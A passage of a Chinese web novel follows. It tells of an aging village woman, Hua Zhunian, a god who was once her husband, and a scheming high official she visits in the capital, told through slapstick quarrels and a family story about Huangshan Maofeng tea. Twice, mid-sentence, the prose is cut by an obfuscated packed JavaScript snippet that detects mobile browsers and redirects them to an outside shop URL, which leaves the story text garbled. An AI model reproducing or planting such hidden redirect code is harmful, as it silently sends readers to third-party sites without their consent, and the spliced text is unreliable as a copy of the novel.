衡羿被打之后,并没有清醒多少,反而更难受了。 “我添什么乱了?这种老混蛋,有什么好见的?他只让你进去,他什么心思,你不清楚吗?” 花祝年被衡羿说愣了,愣了好久才反应过来。 就是,又好气又好笑的感觉。 “我都五十岁的人了,他还能有什么心思?我又不是没有男人!况且,他已经纳了三十多房妾室了,还能再把我一个风烛残年的老大娘给纳了?” 衡羿小声嘟囔道:“也、也不是,没这个可能。” 她用尽全身的力气,猛踹了他一脚:“有个球的可能!” 花祝年转身的时候,衡羿喊住她道:“花大娘,你如今可是要高就了。” 她怎么可能听不出来,这是在讽刺她,气得她反手又给了他一巴掌。 可能是力道太大的缘故,直接将衡羿打得摔倒在地上。 花祝年蹲下又锤了他几拳,咬牙切齿地低声说道:“你不是不知道我找他做什么,为什么突然说这种奇怪的话?” 他也不知道为什么。 总是忍不住阴阳怪气她,明明她并没有做错什么。 一路护送她,是他心甘情愿的。 他也的确早就知道,她要来见这个人。 可心里就是不痛快。 比他在天上看着她跟贺平安过日子,还要不痛快! 这种不痛快的来源很复杂,他一时也说不清楚。 通俗来讲,他是她死去的白月光前夫,好不容易熬到她的现任被抓了。 结果,他这个前夫,要一路护送她到京城,再亲手把她交给一个心怀不轨的老混蛋。 怎么总干这种把她送给别人的事? 是个人都干不出来。 他一个执掌三界的神,居然还干了两次…… 上一世,是他的错,他无暇顾及她。 一门心思只想着做自己的事,才导致她委身于贺平安。 可现在他有时间了,他是为她而来的,怎么还是要眼睁睁地看她走向别人? 送的人若是好便罢了,偏偏是个老混蛋。 虽然衡羿之前想过,如果换做他是小信徒,当初可能也会选宋礼遇。 但那是他不在的时候! 是他已经没办法再陪伴她,她一个人穷困潦倒,流离失所,求助无门的至暗时刻。 可现在他已经出现了,她也跟着贺平安苦熬了三十年。 宋礼遇的作用不那么大了。 她今后的时间,应该尽数给他。就不要再选宋礼遇了,也别去救贺平安了。 既然她是他的小信徒,那他就有权力管她。 衡羿无法向她解释自己内心的别扭。 毕竟他对她而言,并不重要。她也从未把他当回事儿过。 气呼呼地憋了半天,最后只憋出来一句:“我后悔了,我不想让你去见他。” 他说完还低下了头,似乎是有些不好意思。 突如其来的娇羞。 关键是人还趴在地上呢,都没人扶他起来。 他自己也不起,就等着她扶他。 其实,有时候,真不能怪花祝年打衡羿。 对花祝年而言,村子里一大堆男人,都等着自己去救。 只要救成了,那村子里的女人就不用守寡,被老光棍儿们欺负。 她这一路上,虽然衡羿没让她受什么苦,可毕竟是年纪大了,赶了一个多月的路,说是身心俱疲也不为过。 眼看着,人都要见到了,就差这么一哆嗦了。 这后生突然对她发大疯,又是言语讥讽,又是阴阳怪气,一个劲儿地拦着她见宋礼遇。 非要让她功亏一篑,不揍他揍谁? 花祝年都快被衡羿气炸了。 她原地转着圈儿地暴躁道:“谁问你了?啊?我就想知道,到底是谁问你了?没人管你后不后悔!” 气得她现在胸闷气短的,不得不倒了好几口气,才扶着腰稳住自己的身体,不甘心地又冲过去,猛地踹了他一脚。 因为她的身体越来越不好,脚上的水肿始终消不下去,一时踹得劲儿大了,直接把脚上的鞋子给踹爆开了。 她的袜子是豹纹的。 那是在路过集市的时候,她主动问他要钱买的。 他不记得她喜欢豹纹袜。 可她说,是为了走路虎虎生风。 衡羿想了一路,也没想明白,这豹纹袜子,跟虎虎生风有什么关系。 原来是在这儿等着他呢。 哪怕是气得鞋子都踹爆了,露出的大豹纹袜,也能震慑住他人。 唉,真是又心疼,又好笑。 花祝年丝毫不理自己踹爆开的鞋子,继续弯着腰对着地上的人咆哮道:“你的意见对我来说,根本就不重要!我就没在乎过任何人,你又算什么东西?谁管你怎么想的?啊?死一边儿去!” 衡羿在她转身之际,从地上爬了起来。 之后,勇中带怂,怂中带勇地将她扛到了肩上。 准备带她离开。 宋礼遇在里面看了半天好戏,哪儿能让人走呢? 在一旁的管家着急忙慌地去拦人。 他要是连这点儿眼力见儿都没有,那就不能当天下第一权臣的管家了。 什么时候该让两个人闹,什么时候该平息事端,如何让屋子里的老爷心情舒畅,这才是他要考虑的第一要事。 花祝年骂骂咧咧地锤打着衡羿的后背。 她感觉再被他这么扛下去,自己的老腰就要断了。 痛得要死。 宋礼遇终于忍不住从屋子里走了出来。 他看着自己朝思夜想的人,被这后生扛在肩上,活像一只生猛有力的豹子。 感觉只要放下她,就能生吞人一样。 事实也的确如此,所以衡羿不敢放小信徒下来。 其实,他并不害怕被她打骂,而且无论被她如何打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273893|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂,也并不会真跟她生气。 可是,她不能当着老混蛋的面,打他这个前夫! 按照人间的婚姻制度,他要是小信徒逝去的白月光大房的话,那贺平安勉强算个不做人的二房,可宋礼遇那个老混蛋连三房都算不上。 丢什么也不能丢了面子。 小信徒在院子里打他,那是夫妻之间的小把戏。 闹得再大,还不是被他带走了? 可宋礼遇出来后,她要是当着小三房的面打他,那他这个大房今后还怎么树立威严? 虽然可能也没机会树立,但他就是不想她当着别的男人的面打他。 显得他对她来说,好像一点都不重要一样。 正因如此,衡羿才死不放手,任凭她打骂,也要把她稳稳地扛在肩上。 宋礼遇先是着急地走到花祝年面前,一脸关切的样子。 “花小姐,我们,好多年,不见了。” 花祝年整个人倒悬下来,脸憋得涨红,对着宋礼遇勉强地挤出了一丝笑意:“是啊。宋大人,你快点让他把我放下来,他要是不放,你就找人揍他。” 这声“宋大人”算是喊到了宋礼遇的心坎儿里,他多少年都没这么舒服过了。 曾经不肯向他低头的人,当初看透了他爹一通虚伪操作的清高少女,今日也会在难堪至极的时刻,喊他一声宋大人。 心里别提多开心了,能听她喊自己这么一声,那真是给个皇位都不换。 宋礼遇美滋滋地绕到衡羿面前,居然对着他行了个礼。 见惯了自家老爷一副威严相的下人,还从来没见过他这样和蔼的样子。 衡羿没理宋礼遇,懒得跟对方行礼。再者说,他一个大房,对着小三房行什么礼? 他摆出大房的威严说道:“让开。” 宋礼遇并不知晓这两个人的前缘。况且,就算知晓又如何? 呵,像他这样的人,哪儿管什么大房不大房的? 他可是在明知道,花祝年都跟贺平安成亲了,甚至流过一个孩子后。 还能颠儿颠儿地找上门去,要她今后跟着他过的男人。 世俗间的伦理道德,宋礼遇从来就没有当回事儿过。 况且,太讲道德的人,也当不了权臣。 宋礼遇如今到底是个沉稳老练的人,哪怕是在府里的下人看来,自己被这个后生如此冷漠的对待,也丝毫没有甩脸色给他看。 脸上始终是一副笑呵呵的模样。 衡羿其实在天上见过年轻时候的宋礼遇。 一个阴暗又清秀的少年。 说他阴暗吧,是受家庭影响,怎么也阳光不起来,不然也不可能因为花祝年冷冷讥讽了他一句,就被他给看上了,还要娶她。 可抛去家庭因素外,宋礼遇不算长得难看的男子。听说,他妈妈之前就是当地有名的美人儿。 所以,当时衡羿才不理解,花祝年为什么没看上他。 即便是现在,宋礼遇看起来也跟寻常那些肥头大耳的官员,有着本质的区别。 他的身材保持得很好,丝毫没有发胖,目光中,年轻的时候是畏缩和羞怯,现在却是沉稳和老练。 身上还带着浓重的书卷气,跟衡羿所想象的奸猾权臣很不一样。 衡羿觉得但凡喜欢小信徒的男人,似乎都是很惧怕岁月所带来的痕迹。 贺平安那个山野糙汉,明明一把年纪了,却锻炼得一身腱子肉。 每次做的时候,都要强行让他的小信徒摸他的腰腹。 村子里的女人,在闲聊时,调侃他的小信徒吃得好。 可他知道,小信徒根本不想摸。 每当被调侃时,花祝年脸上也没什么特别的反应,那种事对她来说,好似在应付差事一般。 别人都说她身在福中不知福,她也无动于衷。 现在这个老年权臣,也是竭力保持着身材,三十年过去,不仅没有变油腻,还沉淀出了一身的书卷气。 真是闲得他们蛋疼! 一天天地卷来卷去,不知道在卷些什么东西。 卷半天他的小信徒会看他们一眼吗? 不,并不会。 她的心里,只有小泥人儿,也就是前世的他。 再看他的小信徒,活得面目全非,半点都没有要保持容貌和体态的意思。 当然,也可能是没有保持的机会。 她一直,被贺平安有意无意地摧残着。 好像只要把她摧残成一个体态臃肿,满脸皱纹的老太太,就没人再跟他抢了一样。 他看不得她身上有一点光。生怕那点光,招惹来什么别的野男人。 宋礼遇用宽厚长者的姿态,对衡羿殷切劝说道:“年轻人,快把花小姐放下来吧。我看她脸都涨红了,身体已经产生不适了。你若是真的关心她,就不要做这种让她有苦说不出的事。” 被扛在肩上的花祝年,疯狂点头。 她现在的确很难受。 可她一心只想着下来,哪儿知道这两个男人之间,那些暗戳戳的小心思? 她甚至至今都没搞懂,这后生为什么总是间歇性发大疯? 可男人总是最懂男人的。 衡羿气得冷笑一声,他今天就光冷笑了。 一脚踹到宋礼遇的心口上,将他踹飞出去老远。 小三房现在对他使的招数,是当初他在贺平安面前用过的。 无非是想在小信徒面前,表现得自己体贴又善解人意,跟那些暴躁易怒,动不动就发疯的男人,一点儿都不一样。 可这些都是他玩儿剩下的! 飞奔过去的管家和下人,都没来得及接,就见他们那个让朝中人人闻风丧胆的老爷,跺一脚都要让半个官场地动山摇的权臣…… 砰地一声,重重地摔砸到地上。 飞扬的尘土,升腾而起又缓慢落下,覆在了他的锦绣华服之上。 52. 喝得整晚整晚地想她 经常踹人的朋友都知道,在踹出去的刹那,腰腹和肩膀也会连带着拧一下。 衡羿踹小三房的时候,是气得狠了,所以用了很大的力气。 结果,肩膀的动作幅度过大,导致被他扛在肩上的小信徒硌到了肚子,直接吐了出来。 不仅吐脏了宋礼遇的院子,还吐了衡羿一后背。 但这两个人都没空计较。 衡羿连忙将小信徒放下来,花祝年晕乎乎地直接坐到了地上。 府里的管家和下人,此刻都聚集在宋礼遇那里,要扶他起来。 宋礼遇摔得骨头都快散架了,还要强装没事。 他趴在地上,头还没来得及抬起来,就先颤巍巍地伸出一只手,尽量用平稳的声音说道:“不用扶我!快去看看花小姐怎么样了。” 花祝年的身边瞬间聚集起了很多人。 她挺难堪的,嘴边还有呕吐物。 可能是家丁一下子过来得太多了,让她的呼吸有些不畅,又扭过头吐了一地。 衡羿原本是将小信徒抱在怀里的,看她往外侧吐个不停,只能轻拍着她的背。 脾胃是身体之本,主谷物的运化,运化得好,就能将气血输送全身。 运化不好,就会显得病恹恹的。 因此,人在病重之际,大多是吃不下什么东西的,就算吃了也会吐出来。 这就是表示脾胃的运化能力,已经很弱很弱了。 油尽灯枯,大抵如此。 花祝年吐了一通后,觉得浑身都没什么力气。 她下意识地枕在了他的臂弯中。 衡羿知道他的小信徒,一向很爱干净,刚想用衣袖轻蹭去她嘴角的污渍,宋礼遇就踉踉跄跄地,从家丁中间挤了过来。 宋礼遇使出阴损的小动作,不动声色地将衡羿的手扒拉开,拿出一方锦帕来替花祝年擦嘴。 哪怕他自己浑身疼得要命。 锦帕上绣了两只栩栩如生的锦鲤,一只红色,一只金色。 这是上好的苏绣。 两只鱼儿传神地宛若在水中游荡一般。 连荡漾的波光,都绣得出来。 宋礼遇一边轻柔地替她擦着,一边跟她说道:“这帕子,用得还熟悉吗?” 花祝年家道未曾中落时,是用惯了好东西的。 虽然已经几十年不用了,可只要再一触碰,仍旧感知得出来。 她微微地点了下头。 宋礼遇继续说道:“这是三十年前,你家从江南进的那批。花世伯的眼光一向很好,当时可是卖得都脱销了。后来,几经乱世,不知道死了多少人,江南的绣娘们流离失所,如今即便圣上有意重建织造厂,可是再也看不到这样精湛的刺绣工艺了。” 宋礼遇逮住机会,就叙旧套近乎。 衡羿冷笑道:“如此珍贵的东西,你就这么糟蹋,还真是轻贱他人的辛苦。你知道,我的花大娘一向讨厌铺张浪费的。” 宋礼遇当然听得出来,这后生的话里暗带锋芒。 他老练地回击道:“花小姐本来在家里,也是用苏绣来擦拭的。再者说,像这样的绣帕,我家当年买了五箱。三十年来,搬了无数次的家,别的都丢了,唯独这五箱绣帕没丢。我既然有这个条件,何必要让她降级生存?” 虽然宋礼遇一向巧言令色,可是这次话的确是真的。 他当年不只买了五箱绣帕,几乎是花家进什么,他就买什么。 也不是在睹物思人,就是纯纯地赌气。 或者说,哪怕被她拒绝,他也还是希望她能注意到他。 而这三十年,从花家买的那些东西,也一直留存在他的身边。 每个人都有自己的执着所在。 就像花祝年觉得小泥人儿,是自己在乱世的支柱一样,宋礼遇的支柱就是从花家买来的那些东西。 官场的生活,并不好混。 宋礼遇也并非从未遭受过打压,他也有被欺压到底的时刻。 可是,每次只要一看到花家的东西,他就又重新充满了干劲儿。 从花家买来的物件,他明知道可能花祝年碰都没碰过,可只要多少跟她有点关系,就能给他足够的慰藉。 总有一天,他要权倾朝野。他的威名,会长久地存于世间。 他要让她后悔,就这么简单。 管家将晾好的黄山毛峰端了过来。 宋礼遇接过,喂到花祝年嘴边,让她漱漱口。 这毛峰茶也是有讲究的,取得是最尖端的那一小截。 当初,花老爷刚进了一批茶,别的卖得都很好。 唯独这黄山毛峰,喝的人少,买得人也少。 甚至,有买走还退回去的。 毛峰的香气清冽醇厚,本来是个新奇玩意儿。 可唯独不好的是,加水冲泡时,不似其他茶叶,会舒展开来。 毛峰仍旧是卷曲的细长小芽。 若单单是细长小芽也没什么,那些喝惯了徽茶的南方人,是见怪不怪的。 每种茶都有各自的形态,这本来不是什么稀罕事。 可偏偏花家的商行,大多开在北边,再加上花老爷又是最先引进毛峰的人,没人敢第一个吃螃蟹。 没人尝试倒也罢了,还偏偏遇上了商业竞争,其他几个茶行的老板,开始往外散播消息。 到处说,花家新进的黄山毛峰,里面有弯弯曲曲的茶虫。 这南方都扔大街的玩意儿,却被他花家弄了来,低价买入,高价卖出。 这种传言,按理说,不该有人信的。 可偏偏,信的人不少。 大家都把冲泡在茶碗里,没舒展开的毛峰嫩芽,当成了一只只褐黄色的虫子。 黄山毛峰本来是往宫里送的好东西。 好东西卖不出去就算了,还被人造这种谣言。 花老爷是个气性大的人,说是要把毛峰烧了,从今以后再也不卖了。 可是花夫人,也就是花祝年的娘亲不同意。 卖不掉的东西就毁掉,那是人干的事儿? 既然卖不掉,花夫人索性在自家那些商行的外面,让人支起了一个个茶摊。 主供黄山毛峰,路上的行人若是渴了,随意来拿。 街上飘荡着毛峰雅致而独特的香气。 可即便是这样,因为毛峰的名声已经坏掉了,仍旧没有人敢来尝试。 就这样摆了五天,愣是没送出去一碗,这对花老爷而言,又是一记重击。 自己辛辛苦苦挑选来的茶叶,没有同好赏鉴就算了,白给都没人喝。 跟个老小孩儿一样,气得天天在家嗷嗷哭。 花夫人听得烦了,脱下鞋底子来,给了他两巴掌,扇老实了。 改成了小声呜咽。 第七天的时候,天气格外的热,一个工人热得都走不回家去了。 直接倒在了花家支的茶摊上。 伙计们当即给他灌了几口毛峰凉茶。 黄山毛峰在热的时候,是回味甘甜,可等放凉了,甘中又带了一丝微苦。 夏天特别清火气。 那个干苦工的人醒来后,又喝了几大碗,那叫一个身心舒畅。 之后还叫了一帮子工人来喝。 本来以为能将毛峰生意盘活,结果其他几个茶行的老板,又开始往外放消息。 下贱人才喝毛峰那种虫虫茶,上等人都不喝。 花老爷气得想找上门去闹,要是一起干毛峰生意,他也不是不能分利益,但是别干这种损人不利己的事。 真没见过手段这么脏的。 生意人骂生意人就好,骂死了也不冤枉,干嘛骂他的顾客? 可是被花夫人劝住了。 花夫人说,公道自在人心。 没有人永远是上等人,也没有人永远是下贱人。 给人分三六九等的,本来心就是不正的,何必跟那样的人置气? 其实,就算再傻的人,这时候也看出来,这是商战了。 强行的以茶叶分级的路子,并不能真的让所谓的上等人有优越感。 反而让人反感。 人多少都是有些沽名钓誉的。 拥有的资源越多,越是要表现得与民同乐。 首当其冲的,就是当时的县令,也是宋礼遇的爹。 他是个极会作秀之人。 特地选了个大热天,还是干苦工的人,都聚集在茶摊的时候,去喝花家的毛峰凉茶。 自此,越来越多的人开始尝试,众人口中所谓的虫虫茶。 以前是只有下贱人才喝。 现在是不去喝一口,仿佛就不是上等人了一样。 花家的毛峰生意就此盘活。 从前那些没拿到货,排挤花家的茶行老板,也纷纷登门拜访。 生意人是没有长久树敌的。一起赚钱,对大家都好。 花老爷也并没有多计较,毕竟,谁活着不是为了口吃食呢? 但他之前也确实嗷嗷哭了几天,还被自家夫人抽了几鞋底子。 因此,他跟那些茶行老板商定完价格后,还有个附加条件。 让他们也在各家铺子外头,支起一个茶摊子,让大家喝半个月再说。 花老爷这么做也有自己的道理。 那些干苦工的人,是给刘财主家里修别院的。 平日里又苦又累,也没个休息的地方。 工期还有半个月,反正自己也支了这么长时间茶摊了,索性,就支到大家完工。 其他的茶行也一起支,这样人人都有茶喝。 所谓的争端,往往因资源稀缺而起。 真想有一个世道,让大家都可以快快乐乐地赚钱。 不用为了养家糊口,下作到面目全非。 花祝年爹娘,没有等来那样的世道。 但他们在自己的能力范围内,尽量在构建让人人都能吃肉喝汤的生意秩序。 其中辛酸泪水是有的,止泪的鞋底子也是有的。 花家看似是花老爷在做主,可精神内核全靠花夫人支撑着。 无论是不许销毁茶叶,还是坚持支茶摊,三天不行就五天,五天不行就七天,七天不行就九天,九天再不行……就一直支撑到茶叶煮完为止。 就算没有路人喝一口,毛峰清透的香气,也要在街上铺散开来。 世上人都说生意人,大多见人说人话,见鬼说鬼话,实则是没什么气节的。 可是,花夫人不同。 她不是那些寻常的生意人,但凡经她的手,精挑细选的货,就算是没一个人买,她也要将货的作用发挥到极限。 不会随意对待。 这是对自己品味的尊重。 别人说她花家,弄南方没人喝的虫虫茶来卖,她就偏要方圆十里的人,都能闻到黄山毛峰的香气! 那不是虫虫茶。 它有名字,是花家不远万里,从徽州的黄山上,花大价钱选来的黄山毛峰。 这么看,花祝年的偏执,其实是受娘亲的影响。 认准了的事,就是认准了。 她觉得好,那就是好!管别人说好不好干嘛? 而正是出于如此固执的性情,才会冒天下之大不韪,给明明已经被定罪行刑的薛尘,收碎尸、塑泥像、藏于柜间、日夜供奉…… 薛尘被行刑那天,天下人皆唾弃他。 虽然不明所以,也并没有亲眼看到他的那些罪证,但就是要遵从刑场的基本礼仪唾一口。 恨不得将他打入十八层地狱,让他死后无法安宁。 只有她,怕他孤魂无依,要给他封神。 她是那样不惧世俗的言论,坚定地站在他这边。 哪怕在他死后的三十年,都不曾抛弃于他。 这种对自己所认定之事,认定之人的偏爱,真是像极了她的娘亲。 花夫人就是要让所有人都知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283547|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,她花家的茶叶,就是好!没问题! 明珠从来不会因为蒙上尘埃,就丧失光彩,尘埃就是尘埃,怎么掩盖得住明珠的光彩?珍馐也不会因为无人品尝,就失去食物原本的味道。 物件的价值,由它本身而定,只是显露得早晚而已。 世人不识货,那是世人的事。 连这点底气都没有,还做什么生意? 自己对自己的品味都不自信,是没办法筛选出好的商品的。 当日,别说是有宋县令做带头者,第一个去品鉴茶摊上的毛峰茶。 就算是一直不被人所接受,只能白送给做苦工的人,她花家进来的毛峰,价值也丝毫不会有所贬损! 这个地方的人听信流言不识货,下次她就卖去更远的地方。 总能在这世间的某一处,既寻得品茶的知己,又能打开销量。 毛峰的口感,不似茉莉般浓烈,也不似铁观音般清淡。 可以说,味道刚刚好。 别的茶喝几杯就腻了,毛峰却每一泡都有每一泡的味道。 而宋礼遇知道,花祝年是喜欢喝毛峰的。 尤其是泡过几次的毛峰。 这是,他从花家的下人那里,所打听到的事。 此后的三十年,他喝的,也一直是黄山的毛峰。 宋礼遇每次喝的时候,都会想象,花祝年拈着茶杯,闲适喝茶的样子。 他当初没少喝她家的茶,喝得整晚整晚地想她,想得睡不着觉。 如今,她也终于能喝一口,他家的茶了。 宋礼遇颤抖着手,将茶水喂了进去。 一来,是想她念起,当初是他爹宋县令,拯救了她花家的毛峰生意,为毛峰打开了上等人的销量。二来,为的就是想听她一句夸赞。 他这也是上好的黄山毛峰。 花祝年是能尝出来,这是黄山毛峰的。 花家败落后,她就再也没喝过。 可是,她也是一瞬间,就想到了自己的爹爹和娘亲。 那是为她遮风挡雨的人。 许多人可能觉得,老年人自从到了一定年纪之后,眼里和心里就只有自己的儿孙小辈了。 极少再想起自己逝去的爹娘,显得自己还未长大一样。 可实际上,并非如此。 就算是年纪再大的人,遇到了棘手的事情,在最为无助的时刻,也是会想起自己的爹娘。 哪怕,他们已经不在了。 爹娘相继离世后,这世间的风雨,自此,都是她自己一个人担着。 爹爹是走南闯北的生意人,娘亲是整个花家的精神支撑。 他们都是很厉害很厉害的人。 唯独她,在乱世混成了现在这副模样。既没能改变行业的秩序,也没能照顾好自己。 爹娘离世前曾说过,他们在这世上最宝贵,最珍惜的,不是家中的万贯钱财,而是她。 钱没了,他们一点儿也不心疼,本来就是生不带来,死不带去的东西。 可唯独她,掉一滴眼泪,他们都恨不得宰了那个让她流泪的人。 爹娘要她务必好好活着,哪怕随波逐流,昧着良心也要往上走!千万不要受一点苦。 否则,就是对不起爹娘,也是在剜逝去爹娘的心。 花老爷和花夫人,对自己女儿的担忧不是白来的。 他们就怕她太过坚守内心,忘却了在世上生存最重要的是什么。 不是道德,不是义气,不是清高,是彻底地屈服。 可如今,她都一把年纪了,三十年的时光,都在山野间度过,在厨房和家务中消磨。 甚至还要远上京城,来向故人求情。 想想就觉得愧对他们。 毛峰凉茶入口后,激起了过往的回忆。 内心兀地涌起一股疼痛,急火攻心,花祝年又偏过头去吐个不停。 茶水吐了出来,胆汁也吐了出来,满嘴都是苦涩的味道。 泪水淌了下来。 她不想哭,只是呕吐的连带反应。 宋礼遇看起来有些无措,他没想到会给她喝吐。 衡羿一把将他手中的茶碗摔了出去:“你给她喝的什么东西?” 宋礼遇还没来得及开口,花祝年自己抹了把嘴后,回过头揪了一下衡羿的衣领,有气无力地对他说道:“是我爱喝的黄山毛峰。” 衡羿要将她抱走,她死也不肯,哭着骂他:“你这个脑子坏了的后生,就不要再给我添乱了,快跟宋大人赔礼道歉。” 花祝年不想再让两个人产生什么争端。她是来求人的,不是来打人的! 方才,宋礼遇听花祝年喊自己宋大人,觉得身心舒畅。 可现在却觉得莫名地讽刺。 别看宋礼遇娶了这么多房妾室,可他实际上,是从没跟女人真正谈过任何一场感情的。 以至于,他在官场上老练,可是面对心上人,却不知道该怎么润物细无声地讨好。 只知道财大气粗地展示自己的实力。 他的确想要她后悔,也确实想引诱她。 可是并没有想过伤害她。 他再怎么坏,也只伤害官场上的男人,从来不会伤害女人。况且,还是他一直埋藏在心底,不敢去想,从未得到的女人。 其实,他留下的那家商铺,早在他们二人离开后,就急匆匆地过来跟他通过气了。 说他等了三十年的人,终于肯来见他了。 宋礼遇在府里好一通准备,特地好言遣散了一堆在外院等候的官员。 那群人大多都是辗转托了几层关系,就为了见他一面,每个都备了厚礼。 可他今天,只想见她。 宋礼遇内心酸涩到了极点。 仿佛又回到当年在街上,被她冷冷讥讽的场景中,而他一如当初那般欣赏她,情不自禁地颤声说道:“花小姐,我们是旧相识,别喊我宋大人了,你喊我礼遇就好。” 53. 但可能表述得有些奇怪 宋礼遇对花祝年的感情,同贺平安一样,也是极为复杂的。 或者说,比贺平安还要复杂许多。 贺平安对花祝年是又爱又恨,爱到极致,也恨到了极致。 纯粹,但窒息。 可宋礼遇内心对她的情感,并不似那般浓烈和极致,反而在无数杂乱的态度中反复横跳。 总之,不是三言两语,就能说清楚的。 初见时,听到她讥讽自己,他觉得无比震惊。 按理说,商贾之家出来的子女,理应比官宦之家更为圆滑才是。 别的孩子还在撒尿和泥的时候,那些商贾之家的子女,就已经算盘打得溜响了。 什么样的人适合攀附,什么样的人要远离,家里不出意外都会教。 世间最难寻得却也最为珍贵的钱脉,就是人脉。 别看他爹只是一个小小的县令,可是,在这天高皇帝远的地方,那跟土皇帝也没什么区别。 权力大得出奇,能调动的资源,也不是常人所能想象的。 况且,宋家世代为官,不仅他爹是官,他家的所有亲戚都是。 远赴京城做官的也不在少数。 这个县令的官职,是他爹特意选的。 因为这里有矿。 那些皇亲国戚,谁不想分一杯羹? 或者,说得更直白一些,搞矿的生意人是他爹的狗,他爹是皇亲国戚的狗。 吃得苦中苦,方为狗上狗。 宋礼遇从小就看到家中,有各行各业的生意人进进出出。 其中,自然包括花祝年的爹爹,他的花世伯。 他见惯了他们柔顺处下,卑微讨好的样子,那些可都是富甲一方的生意人,可到了他爹面前,谁不是把话说得软和又棉当? 他爹的权力究竟有多大,只有借光使用到权力的人才知道。 可在借不到光的人眼中,也就是个小县令。 有一道看不见的厚壁。 宋礼遇觉得花祝年应该懂,她没理由不知道她爹是如何巴结自己的爹。 也没理由不清楚,他爹是能决定他们这些生意人生死的关键。 可怎么,怎么会从她嘴里,听到那种话? 偏偏她还不是说与他听的,只是为了提醒自己的小丫鬟不要受骗。 而他分外敏感,刚好听到了而已。 她怎么敢的震惊、十分难解的疑惑、被她说中的愤怒、无法反击的胆怯……如果只是这些,倒也罢了。 可他偏偏除去这些情感之外,还生出一丝欣赏和倾慕。 他一边觉得,就连你爹都在我爹面前,上赶着攀附送钱,一副谄媚至极的狗样。 你一个靠家里养的千金小姐,却公然在大街上跟丫鬟,这样出言嘲讽我,真是不知天高地厚,是不是活腻歪了?花家还想不想在这个地界上混? 你爹的商行会长头衔,到底是谁暗中支持的,为什么每次有商铺出事,都是你爹出钱去摆平的,一个低贱的生意人,哪儿来那么大的面子,心里就真没点儿数? 可一边又忍不住去想,不是,你这个小姑娘,到底想干嘛啊? 连我都不敢忤逆我爹,不敢质疑我爹的权威。他让我出来搬书,明知是作秀,我也得照做,可你就这么又冷又直地说出来了? 啊? 天神降世,也不过如此吧。 花祝年是宋礼遇看见的第一个,不把他当回事儿,不把他爹当回事儿的人。 甚至,也不是不当回事儿,他能觉察到,这已经是厌恶的状态了。 宋礼遇一直以来的家庭环境,是相当压抑和沉重的。 这也是他变得阴暗的原因。 爹对他的要求很严格,他从来没有反抗过。 根本不敢。 他所有的荣光,都跟爹有关。一旦反抗,就什么都没了。 就这么说吧,宋家的高宅大院,看起来风光。 可实际上,里面就跟热带雨林中的腐臭沼泽地没什么两样。 每个人都躺平享受那份温软和舒适,只微微仰着头,留着两个鼻孔出气。 从不肯睁眼看世间。 睁开眼也没用,又能看得到什么呢? 天空都被古老而粗壮的树木枝叶遮蔽了,树的根系盘根错节,最远的可蔓延万里。 久处在遮天蔽日的环境下,浸泡在里面的人,身上爬满了沼泽地中特有的蛆虫。 宋家的每一个人,都能清楚地感知到,蛆虫蠕动在身体的每一处。 却毫无办法。 他们走不出沼泽地,也没人想走出去,更不想掸落满身蛆虫,周身的血肉逐渐被浸得软烂,仿佛已经跟腐臭沼泽融为一体。 那天在街上见到花祝年,就像潮湿阴暗的沼泽地中,穿破遮天蔽日的厚重枝叶,突然照过来一束强光一样。 晃得他失了神。 他想把她娶回家,想她在泥泞之地,救赎他。 就算娶回来后,她每天跟他吵架,激烈而暴躁地打骂他,他也开心。 那天,她言语刻薄又犀利,让他意识到,原来这世间,是有人敢反抗的。 不是每个人都必须陷在沼泽地里,忍受蛆虫漫爬。 他把她当成救他出沼泽的唯一希望。 清秀少年好像又记起了自己,本该是什么样子。 他本不用跟爹一样冷血阴暗的。 可到头来,她终究还是没去救他。 她根本看不上他,越是看不上他,他就越是欢喜,甚至是狂喜。 狂喜到变态的那种。 又痛又畅快,像是把伤疤撕开,任由蛆虫啃噬一般。 因为,她离他越远,就是离沼泽越远。他想看看,没有活在沼泽里的人,到底是什么样子? 他们的理念从一开始就背道而驰。 他就那样阴暗地看着她,幽深的目光几乎将她吞噬。 可她,连跟他目光的碰触都没有。 宋礼遇在夜里嚎啕大哭过无数次,每次哭到没了气力后,都会趴着桌子狂笑。 好啊!真不愧是他喜欢的人! 半点都不喜欢他! 哈哈,哈哈哈哈哈哈—— 如今,世人皆知她不过是一个山野村妇,是最不起眼的那种女人。 况且,她已经老了,丧失了唯一的生育价值后,于庸碌的世俗规则而言,是再没什么用处了。 整日里,也就伺候男人,洗衣做饭,才勉强看到一点儿她的价值。 而他,一人之下万人之上,攀附者如同过江之鲤。 无论是权力还是资源,他都已经到了所积聚的巅峰时刻。 无数的世家大族,想把女儿送给他,可他只要自己挑选的,就像当初的她一样。 在场的人除了管家,没有人知道花祝年对宋礼遇的重要性。 她是穿透那遮天蔽日,枝叶脉络的强光,是他清澈美好,有力跳动的心脏。 在山野间,遗失了三十年。 他记得她所有的喜好,熟悉她如同熟悉自己的心脏。 每当从过往那些老物件中,寻得几分对她的念想,都会让他觉得胸腔那处空荡荡的地方,有什么在隐隐跳动,越跳越快。 于虚无的幻想中,做一场极致的迷离之梦。 不过,宋礼遇和一般的痴情男子所不同的是,他也有着自己的坚持和傲气。 她的确是他的心脏,可若是她不愿意跟他,不肯向他低头,那这颗心脏,他也不是不能剜出来。 一个对自己狠到极致的人,是没什么事情做不成的。 